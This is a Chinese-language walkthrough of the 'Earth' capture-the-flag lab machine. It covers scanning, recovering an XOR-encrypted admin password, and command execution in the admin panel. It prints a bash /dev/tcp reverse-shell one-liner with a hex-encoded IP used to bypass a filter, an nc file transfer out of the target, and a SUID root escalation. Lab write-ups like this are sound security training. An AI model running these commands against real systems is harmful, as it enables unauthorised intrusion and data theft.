信息收集
主机发现and端口扫描
nmap 192.168.56.0/24 -sN -T4
# 结果是open|filtered,即无法确定端口是开放还被过滤,换个扫描方式试试。
# -Pn非ping扫描试一下
nmap 192.168.56.0/24 -Pn -T4
获取主机详细的信息。
nmap 192.168.56.134 -A -T4
攻击机ip | 靶机ip |
---|---|
192.168.56.128 | 192.168.56.134 |
这个时候发现全是400Bad Request怎么搞,访问80、443通通400。再仔细看看综合扫描内容,发现DNS解析,到/etc/hosts加上。
vim /etc/hosts
# 添加如下内容
靶机ip earth.local
靶机ip terratest.earth.local
再次访问页面正常了。
http://earth.local和http://terratest.earth.local/页面内容如下:
根据页面内容猜测是一个用于加密明文的页面。
试试https协议,https://terratest.earth.local/。
目录扫描
接下来进行目录扫描,用到dirsearch和dirb两个工具(两个都用保证全部扫到),都是kali自带的。
https://terratest.earth.local/
首先扫描https://terratest.earth.local/扫出一个robots.txt。
robots.txt。
最后一个文件给出了名字不知道后缀名,总共就那么多常见后缀名,测试发现是txt文件。
这段话翻译后可以得知几个信息:
-
XOR加密
-
testdata.txt用来测试加密
-
terra是管理员用户名
-
消息页面也管理面板页面很基础,可能存在漏洞?
总而言之,表示接下来需要将testdata.txt与某段字符进行XOR加密,结果很可能是terra的密码。
http://earth.local和http://terratest.earth.local/
扫描这两个网址,结果一致,如下:
渗透
XOR
根据前面收集的信息,有一个testdata.txt文件在https://terratest.earth.local网站目录下,看看内容,翻译后没什么信息。
从已知信息知道,这个文本是用作加密测试用的,XOR异或,那么密钥是什么。http://earth.local和http://terratest.earth.local/页面中都有三段16进制字符串,可能是密钥。
找个在线网站将testdata.txt内容转化为16进制再分别与三个可能进行异或。由于异或后的结果是十进制,就需要转换为16进制在转字符串。测试发现最后一段字符串是真正的密钥。将异或结果转为16进制后转字符串,最终结果如下:
仔细看过后,得出earthclimatechangebad4humans
terra登录
访问http://earth.local/admin后进入登录页面。
用户名:terra
密码:earthclimatechangebad4humans
登录后出现一个命令输入框,可以命令执行。
既然是命令执行那就可以找flag。测试发现cd命令用不了,那么使用find命令搜索所有包含flag的txt文件再用cat直接查看flag文件。
find / -name "*flag*.txt"
找到第一个flag。
反弹shell
# 攻击机开启监听
nc -lvnp 7777
# 反弹shell
bash -i >& /dev/tcp/192.168.56.128/7777 0>&1
提示远程连接被禁止,没有成功,应该是被过滤了。尝试进制绕过。把ip地址转16进制试试。
# 反弹shell
bash -i >& /dev/tcp/0xc0.0xa8.0x38.0x80/7777 0>&1
成功。
提权
反弹shell得到普通用户权限,需要进一步提权。suid提权,找具有root权限的SUID的文件。
find / -perm -u=s -type f 2>/dev/null
/usr/bin/reset_root,重置密码?查看内容发现很多乱码,但是有一句是root密码重置为Earth。
用Earth登录root失败。
登陆失败,那就是/usr/bin/reset_root没重置成功?
翻译后发现好像是因为所有触发器不存在。那就是文件本身出问题了,在目标机中乱码我也看不懂,先把文件搞到攻击机上。
# 攻击机激活nc监听
nc -lp 6666 > reset_root
# 目标机发送文件
nc -v 192.168.56.128 6666 < /usr/bin/reset_root
攻击机接收到了。
接下来使用文件分析工具strace检查文件运行过程。
strace ./reset_root
结果显示没有这三个文件或目录,在目标机中新建,再运行reset_root
touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U
touch /tmp/kcM0Wewe
# 运行
/usr/bin/reset_root
运行后显示成功重置root密码为Earth。
成功拿到root用户权限。
找找flag。
🎆搞定!